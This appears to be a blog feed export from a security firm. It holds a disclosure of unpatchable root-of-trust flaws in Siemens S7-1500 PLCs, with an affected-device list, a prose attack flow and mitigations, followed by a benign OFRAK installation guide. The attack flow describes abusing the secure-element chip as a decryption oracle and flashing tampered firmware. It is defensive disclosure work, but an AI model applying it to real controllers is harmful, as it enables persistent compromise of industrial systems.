The fundamental vulnerabilities — improper hardware implementations of the RoT using dedicated cryptographic-processor — are unpatchable and cannot be fixed by a firmware update since the hardware is physically unmodifiable. To limit the effects of potential exploitation of these vulnerabilities, Red Balloon has recommended several mitigations to Siemens which include: implement runtime integrity attestation; add asymmetric signature check for firmware at bootup scheme; and encrypt the firmware with device specific keys that are generated on individual devices. 

Red Balloon has developed an advanced persistent threat detection tool for owners and operators of the Siemens S7-1500 series PLCs to verify whether vulnerable devices have been tampered with or compromised. 

AFFECTED DEVICES

Siemens released the following list of more than 100 products with this vulnerability with currently no fix available.

  • SIMATIC S7-1500 CPU 1510SP F-1 PN (6ES7510-1SJ00-0AB0)
  • SIMATIC S7-1500 CPU 1510SP F-1 PN (6ES7510-1SJ01-0AB0)
  • SIMATIC S7-1500 CPU 1510SP-1 PN (6ES7510-1DJ00-0AB0)
  • SIMATIC S7-1500 CPU 1510SP-1 PN (6ES7510-1DJ01-0AB0)
  • SIMATIC S7-1500 CPU 1511-1 PN (6ES7511-1AK00-0AB0)
  • SIMATIC S7-1500 CPU 1511-1 PN (6ES7511-1AK01-0AB0)
  • SIMATIC S7-1500 CPU 1511-1 PN (6ES7511-1AK02-0AB0)
  • SIMATIC S7-1500 CPU 1511C-1 PN (6ES7511-1CK00-0AB0)
  • SIMATIC S7-1500 CPU 1511C-1 PN (6ES7511-1CK01-0AB0)
  • SIMATIC S7-1500 CPU 1511F-1 PN (6ES7511-1FK00-0AB0)
  • SIMATIC S7-1500 CPU 1511F-1 PN (6ES7511-1FK01-0AB0)
  • SIMATIC S7-1500 CPU 1511F-1 PN (6ES7511-1FK02-0AB0)
  • SIMATIC S7-1500 CPU 1511T-1 PN (6ES7511-1TK01-0AB0)
  • SIMATIC S7-1500 CPU 1511TF-1 PN (6ES7511-1UK01-0AB0)
  • SIMATIC S7-1500 CPU 1512C-1 PN (6ES7512-1CK00-0AB0)
  • SIMATIC S7-1500 CPU 1512C-1 PN (6ES7512-1CK01-0AB0)
  • SIMATIC S7-1500 CPU 1512SP F-1PN (6ES7512-1SK00-0AB0)
  • SIMATIC S7-1500 CPU 1512SP F-1 PN (6ES7512-1SK01-0AB0)
  • SIMATIC S7-1500 CPU 1512SP-1 PN (6ES7512-1DK00-0AB0)
  • SIMATIC S7-1500 CPU 1512SP-1 PN (6ES7512-1DK01-0AB0)
  • SIMATIC S7-1500 CPU 1513-1 PN (6ES7513-1AL00-0AB0)
  • SIMATIC S7-1500 CPU 1513-1 PN (6ES7513-1AL01-0AB0)
  • SIMATIC S7-1500 CPU 1513-1 PN (6ES7513-1AL02-0AB0)
  • SIMATIC S7-1500 CPU 1513F-1 PN (6ES7513-1FL00-0AB0)
  • SIMATIC S7-1500 CPU 1513F-1 PN (6ES7513-1FL01-0AB0)
  • SIMATIC S7-1500 CPU 1513F-1 PN (6ES7513-1FL02-0AB0)
  • SIMATIC S7-1500 CPU 1513R-1 PN (6ES7513-1RL00-0AB0)
  • SIMATIC S7-1500 CPU 1515-2 PN (6ES7515-2AM00-0AB0)
  • SIMATIC S7-1500 CPU 1515-2 PN (6ES7515-2AM01-0AB0)
  • SIMATIC S7-1500 CPU 1515-2 PN (6ES7515-2AM02-0AB0)
  • SIMATIC S7-1500 CPU 1515F-2 PN (6ES7515-2FM00-0AB0)
  • SIMATIC S7-1500 CPU 1515F-2 PN (6ES7515-2FM01-0AB0)
  • SIMATIC S7-1500 CPU 1515F-2 PN (6ES7515-2FM02-0AB0)
  • SIMATIC S7-1500 CPU 1515R-2 PN (6ES7515-2RM00-0AB0)
  • SIMATIC S7-1500 CPU 1515T-2 PN (6ES7515-2TM01-0AB0)
  • SIMATIC S7-1500 CPU 1515TF-2 PN (6ES7515-2UM01-0AB0)
  • SIMATIC S7-1500 CPU 1516-3 PN/DP (6ES7516-3AN00-0AB0)
  • SIMATIC S7-1500 CPU 1516-3 PN/DP (6ES7516-3AN01-0AB0)
  • SIMATIC S7-1500 CPU 1516-3 PN/DP (6ES7516-3AN02-0AB0)
  • SIMATIC S7-1500 CPU 1516F-3 PN/DP (6ES7516-3FN00-0AB0)
  • SIMATIC S7-1500 CPU 1516F-3 PN/DP (6ES7516-3FN01-0AB0)
  • SIMATIC S7-1500 CPU 1516F-3 PN/DP (6ES7516-3FN02-0AB0)
  • SIMATIC S7-1500 CPU 1516F-3 PN/DP (6ES7516-3TN00-0AB0)
  • SIMATIC S7-1500 CPU 1516F-3 PN/DP (6ES7516-3UN00-0AB0)
  • SIMATIC S7-1500 CPU 1517-3 PN/DP (6ES7517-3AP00-0AB0)
  • SIMATIC S7-1500 CPU 1517-3 PN/DP (6ES7517-3FP00-0AB0)
  • SIMATIC S7-1500 CPU 1517H-3 PN (6ES7517-3HP00-0AB0)
  • SIMATIC S7-1500 CPU 1517T-3 PN/DP (6ES7517-3TP00-0AB0)
  • SIMATIC S7-1500 CPU 1517TF-3 PN/DP (6ES7517-3UP00-0AB0)
  • SIMATIC S7-1500 CPU 1518-4 PN/DP (6ES7518-4AP00-0AB0)
  • SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0)
  • SIMATIC S7-1500 CPU 1518-4F PN/DP (6ES7518-4FP00-0AB0)
  • SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0)
  • SIMATIC S7-1500 CPU 1518HF-4 PN (6ES7518-4JP00-0AB0)
  • SIMATIC S7-1500 CPU 1518T-4 PN/DP (6ES7518-4TP00-0AB0)
  • SIMATIC S7-1500 CPU 1518TF-4 PN/DP (6ES7518-4UP00-0AB0)
  • SIMATIC S7-1500 CPU S7-1518-4 PN/DP ODK (6ES7518-4AP00-3AB0)
  • SIMATIC S7-1500 CPU S7-1518F-4 PN/DP ODK (6ES7518-4FP00-3AB0)
  • SIMATIC S7-1500 ET 200pro: CPU 1513PRO F-2 PN (6ES7513-2GL00-0AB0)
  • SIMATIC S7-1500 ET 200pro: CPU 1513PRO-2 PN (6ES7513-2PL00-0AB0)
  • SIMATIC S7-1500 ET 200pro: CPU 1516PRO F-2 PN (6ES7516-2GN00-0AB0)
  • SIMATIC S7-1500 ET 200pro: CPU 1516PRO-2 PN (6ES7516-2PN00-0AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN (6AG1511-1AK00-2AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN (6AG1511-1AK01-2AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN (6AG1511-1AK01-7AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN (6AG1511-1AK02-2AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN (6AG1511-1AK02-7AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN T1 RAIL (6AG2511-1AK01-1AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN T1 RAIL (6AG2511-1AK02-1AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN TX RAIL (6AG2511-1AK01-4AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN TX RAIL (6AG2511-1AK02-4AB0)
  • SIPLUS S7-1500 CPU 1511F-1 PN (6AG1511-1FK00-2AB0)
  • SIPLUS S7-1500 CPU 1511F-1 PN (6AG1511-1FK01-2AB0)
  • SIPLUS S7-1500 CPU 1511F-1 PN (6AG1511-1FK02-2AB0)
  • SIPLUS S7-1500 CPU 1513-1 PN (6AG1513-1AL00-2AB0)
  • SIPLUS S7-1500 CPU 1513-1 PN (6AG1513-1AL01-2AB0)
  • SIPLUS S7-1500 CPU 1513-1 PN (6AG1513-1AL01-7AB0)
  • SIPLUS S7-1500 CPU 1513-1 PN (6AG1513-1AL02-2AB0)
  • SIPLUS S7-1500 CPU 1513-1 PN (6AG1513-1AL02-7AB0)
  • SIPLUS S7-1500 CPU 1513F-1 PN (6AG1513-1FL00-2AB0)
  • SIPLUS S7-1500 CPU 1513F-1 PN (6AG1513-1FL01-2AB0)
  • SIPLUS S7-1500 CPU 1513F-1 PN (6AG1513-1FL02-2AB0)
  • SIPLUS S7-1500 CPU 1515F-2 PN (6AG1515-2FM01-2AB0)
  • SIPLUS S7-1500 CPU 1515F-2 PN (6AG1515-2FM02-2AB0)
  • SIPLUS S7-1500 CPU 1515F-2 PN RAIL (6AG2515-2FM02-4AB0)
  • SIPLUS S7-1500 CPU 1515F-2 PN T2 RAIL (6AG2515-2FM01-2AB0)
  • SIPLUS S7-1500 CPU 1515R-2 PN (6AG1515-2RM00-7AB0)
  • SIPLUS S7-1500 CPU 1515R-2 PN TX RAIL (6AG2515-2RM00-4AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN00-2AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN00-7AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN01-2AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN01-7AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN02-2AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN02-7AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP RAIL (6AG2516-3AN02-4AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP TX RAIL (6AG2516-3AN01-4AB0)
  • SIPLUS S7-1500 CPU 1516F-3 PN/DP (6AG1516-3FN00-2AB0)
  • SIPLUS S7-1500 CPU 1516F-3 PN/DP (6AG1516-3FN01-2AB0)
  • SIPLUS S7-1500 CPU 1516F-3 PN/DP (6AG1516-3FN02-2AB0)
  • SIPLUS S7-1500 CPU 1516F-3 PN/DP RAIL (6AG2516-3FN02-2AB0)
  • SIPLUS S7-1500 CPU 1516F-3 PN/DP RAIL (6AG2516-3FN02-4AB0)
  • SIPLUS S7-1500 CPU 1517H-3 PN (6AG1517-3HP00-4AB0)
  • SIPLUS S7-1500 CPU 1518-4 PN/DP (6AG1518-4AP00-4AB0)
  • SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0)
  • SIPLUS S7-1500 CPU 1518F-4 PN/DP (6AG1518-4FP00-4AB0)
TECHNICAL DETAILS

The ATECC CryptoAuthentication-based RoT hardware implementation is vulnerable and deployed across the Siemens S7-1500 series product line. The firmware gets decrypted in memory and executed each time during bootup. The decryption keys are not built into the firmware itself. Instead, a physical secure element chip — the ATECC108 CryptoAuthentication coprocessor — is used to calculate a decryption seed based on the firmware metadata (header) and the master key inside the secure element. The decryption seed then derives the AES keys for different parts of the encrypted firmware. 

However, this ATECC CryptoAuthentication implementation contains flaws that can be leveraged to compromise the integrity of the system. The secure element shared secret is exposed, as shown in Figure 1, which allows attackers to abuse the secure element. The shared secret resides in the device’s nonvolatile storage which can be accessed by attackers. The CryptoAuthentication chip can be used as an oracle to generate the decryption seed which is used to derive AES keys for encrypted firmware. The plaintext bootloader reveals the firmware AES key derivation and decryption scheme. 

Figure 1. The vulnerable implementation of Root-of-Trust (RoT) using a secure cryptographic processor. If the shared cryptographic material is captured, adversaries may use the secure cryptographic processor as an oracle to encrypt and decrypt tampered firmware.
ATTACK FLOW

This attack flow allows an attacker to load a custom-modified bootloader and firmware to vulnerable Siemens S7-1500 series PLCs.

  • An attacker can target the vulnerable ATECC secure cryptographic-processor to establish a Root-of-Trust with modified firmware. 
  • An attacker with physical access to the device can either attach to the I2C communication bus or extract the physical ATECC chip from the PLC’s PCB to falsely authenticate and use it as an oracle to generate firmware decryption material. 
    • The Siemens ADONIS RTOS Firmware and bootloader integrity check is located in the firmware itself (chain of trust) which can be easily bypassed through the attacker’s tampered firmware.
  • The last step is for an attacker to flash the modified firmware onto the device either through NAND flash reprogram or to chain it with an existing remote code execution vulnerability. 
SUMMARY

The Siemens S7-1500 series PLCs implement a boot-time firmware validation scheme using a combination of hardware-enabled firmware decryption and binary integrity validation in the Siemens ADONIS operating system. Multiple architectural vulnerabilities exist which allow attackers to bypass all protected boot features, resulting in persistent arbitrary modification of operating code and data. With physical access to a single device, attackers can exploit the vulnerabilities to generate valid AES keys for most of the S7-1500 series firmwares, including the one modified by attackers. The custom-modified firmware can be authenticated and decrypted by the original boot process. By flashing this malicious firmware on a target device, either physically or by exploiting an existing remote code execution vulnerability, attackers could persistently gain arbitrary code execution and potentially circumvent any official security and firmware updates, without the user’s knowledge.

ACKNOWLEDGMENT

Red Balloon would like to thank Siemens for its response in confirming our findings and coordination in the disclosure process.

]]>
https://redballoonsecurity.com/siemens-discovery/feed/ 0 8493
How to Instantly Accomplish Your New Year’s Resolution to Try Out OFRAK https://redballoonsecurity.com/try-out-ofrak/ https://redballoonsecurity.com/try-out-ofrak/#respond Thu, 29 Dec 2022 21:56:36 +0000 https://redballoonsecurity.com/?p=8360

How to Instantly Accomplish Your New Year’s Resolution to Try Out OFRAK

Recently, we improved OFRAK Python package and dependency handling, resulting in quicker installation of more functionality. These improvements are available now on PyPI across ofrak, ofrak_type, ofrak_io, and ofrak_patch_maker.

Wrapping an existing tool in an OFRAK Component is a relatively common pattern. After all, OFRAK does not intend to “reinvent the wheel” if other teams have already shared a good tool for the job at hand. However, this can mean that a component isn’t ready to use after a simple “pip install.” Often an extra step or two might be needed, something like (for a Debian Linux user) “apt install -y special_program” for the SpecialProgramAnalyzer Component to run successfully.

NOTE: For researchers on a longer-lived investigative effort or for teams using OFRAK in a Continuous Integration (CI) pipeline that needs reproducible results, the provided Docker image recipe builds the Red Balloon Security-recommended environment. This includes all components’ dependencies. If you find yourself installing OFRAK and its dependencies multiple times, consider using the Docker image for a consistent, pre-built environment.

When we built OFRAK, we considered it reasonable to separate those components with heavy dependencies and limited applications from the more lightweight set of core software, for instance, packages that need to handle various archives as opposed to simple Python-based byte string modification of a file. Now that we’ve added some tools to make these dependencies easier to understand, install, or ignore, we are merging ofrak_core and ofrak_components.

Now, when developers and researchers pip install ofrak they will get access to more components than they did before, right off the bat. Many of them are wrappers for external tools, and most of those wrappers are only for handling specific file types. For instance, the CpioUnpacker wraps usage of the cpio utility. If the user isn’t working with a CPIO filesystem, that unpacker won’t run, and it won’t matter if the utility binary is not installed on the system $PATH.

If the user does happen to run into a CPIO file during an invocation of unpack_recursively, OFRAK will fail trying to unpack it. Two choices are provided:

				
					ofrak.component.abstract.ComponentMissingDependencyError: Missing cpio tool needed for CpioUnpacker!
E                   apt installation: apt install cpio
E                   brew installation: brew install cpio
E                   See https://www.gnu.org/software/cpio/ for more info and installation help.
E                   Alternatively, OFRAK can ignore this component (and any others with missing dependencies) so that they will never be run: OFRAK(..., exclude_components_missing_dependencies=True)
				
			

The user can either:

1. Install it 

Or

2. Specify that OFRAK ignores this component and any others missing dependencies. This is the quickest way to unblock OFRAK and keep going if the dependency really isn’t needed.

				
					>>> o = OFRAK(exclude_components_missing_dependencies=True)
>>> async def main(ofrak_context):
        ...
>>> o.run(main)
[ofrak_context.py:  185] Skipped registering the following components due to missing dependencies: CpioPacker, CpioUnpacker. Run `python3 -m ofrak deps --missing-only` for more details.

				
			

Without CpioUnpacker, OFRAK won’t be able to unpack the CPIO file. If you don’t need to unpack that file, then excluding the CpioUnpacker in this case is fine.

If a user would like to ensure all necessary binary dependencies are installed (and still does not want to use Docker) they can use a new command-line interface (CLI) tool to list and check for them.

				
					% python -m ofrak list 

ofrak
    ApkIdentifier
    ApkPacker
    ApkUnpacker
    MemoryRegionProgramAttributesAnalyzer
    BinaryExtendModifier
    BinaryPatchModifier
    BinwalkAnalyzer
    Bzip2Packer
    Bzip2Unpacker
    Md5Analyzer
    Sha256Analyzer
    AddCommentModifier
    DeleteCommentModifier
    CpioFilesystemAnalyzer
    CpioPacker
    CpioUnpacker
    DeviceTreeBlobIdentifier
    DeviceTreeBlobPacker
    DeviceTreeBlobUnpacker
    DtbHeaderAnalyzer


% python -m ofrak deps
[ ] binwalk
	https://github.com/ReFirmLabs/binwalk
	[BinwalkAnalyzer]
[ ] 7z
	https://p7zip.sourceforge.net/
	[P7zUnpacker, P7zPacker]
[ ] zip
	https://linux.die.net/man/1/zip
	[ZipPacker]
[ ] pigz
	https://zlib.net/pigz/
	[GzipUnpacker, GzipPacker]
[✓] tar
	https://www.gnu.org/software/tar/
	[TarUnpacker, TarPacker]
[ ] zstd
	http://facebook.github.io/zstd/
	[ZstdPacker, ZstdUnpacker]
[✓] unzip
	https://linux.die.net/man/1/unzip
	[ApkIdentifier, ZipUnpacker]
[ ] apktool
	https://ibotpeaches.github.io/Apktool/
	[ApkUnpacker, ApkPacker]
[ ] lzop
	https://www.lzop.org/
	[LzoUnpacker, LzoPacker]
[ ] cpio
	https://www.gnu.org/software/cpio/
	[CpioPacker, CpioUnpacker]
[ ] /usr/local/bin/uber-apk-signer.jar
	https://github.com/patrickfav/uber-apk-signer
	[ApkPacker]
[ ] entropy.so.1
	None
	[DataSummaryAnalyzer]
[ ] unar
	https://theunarchiver.com/command-line
	[RarUnpacker]
[ ] java
	https://openjdk.org/projects/jdk/11/
	[ApkPacker]
[ ] mksquashfs
	https://github.com/plougher/squashfs-tools.git
	[SquashfsPacker]
[ ] unsquashfs
	https://github.com/plougher/squashfs-tools.git
	[SquashfsUnpacker]

				
			

On a fresh system many of these will be missing. If the user can leverage a package manager like apt (on Ubuntu) or brew (on OS X) they can install most of them with one line:

$ python3 -m ofrak deps –-missing-only –-packages-for brew | xargs brew install -y

(replacing brew with apt when on an Ubuntu machine)

Checking again however, they will find some are still missing….

				
					% python3 –m ofrak deps –-missing-only
[ ] entropy.so.1
	None
	[DataSummaryAnalyzer]
[ ] unsquashfs
	https://github.com/plougher/squashfs-tools.git
	[SquashfsUnpacker]
[ ] /usr/local/bin/uber-apk-signer.jar
	https://github.com/patrickfav/uber-apk-signer
	[ApkPacker]
[ ] mksquashfs
	https://github.com/plougher/squashfs-tools.git
	[SquashfsPacker]
[ ] binwalk
	https://github.com/ReFirmLabs/binwalk
	[BinwalkAnalyzer]
[ ] apktool
	https://ibotpeaches.github.io/Apktool/
	[ApkPacker, ApkUnpacker]

				
			

These tools have a more involved installation process, and users should consult each one for the exact instructions. Of course, at this point users can tell which tools each Component depends on, so they can verify the script will run without choking on forgotten dependencies.

To review, our recommended steps are:

  • pip install ofrak
  • python3 –m ofrak deps –-missing-only –-packages-for {apt|brew} | xargs {apt|brew} -y
  • python3 –m ofxrak deps –-missing-only to check what components’ dependencies will require more steps to install, and install each of those you need or want
  • Set up OFRAK with exclude_components_missing_dependencies=True if you can keep going without those Components that are missing dependencies.
  • Procrastinate on your last-second gift shopping to take a look at that router firmware. 
  • If you’re setting up CI, just use a Docker container!

Internally, the main impact we’ve observed from these updates is that our security researchers are able to get up and running even faster for an investigation or one-off binary mod. We hope you see these gains too!

Cheers to the New Year and all your binary resolutions from our team in NYC!

]]>
https://redballoonsecurity.com/try-out-ofrak/feed/ 0 8360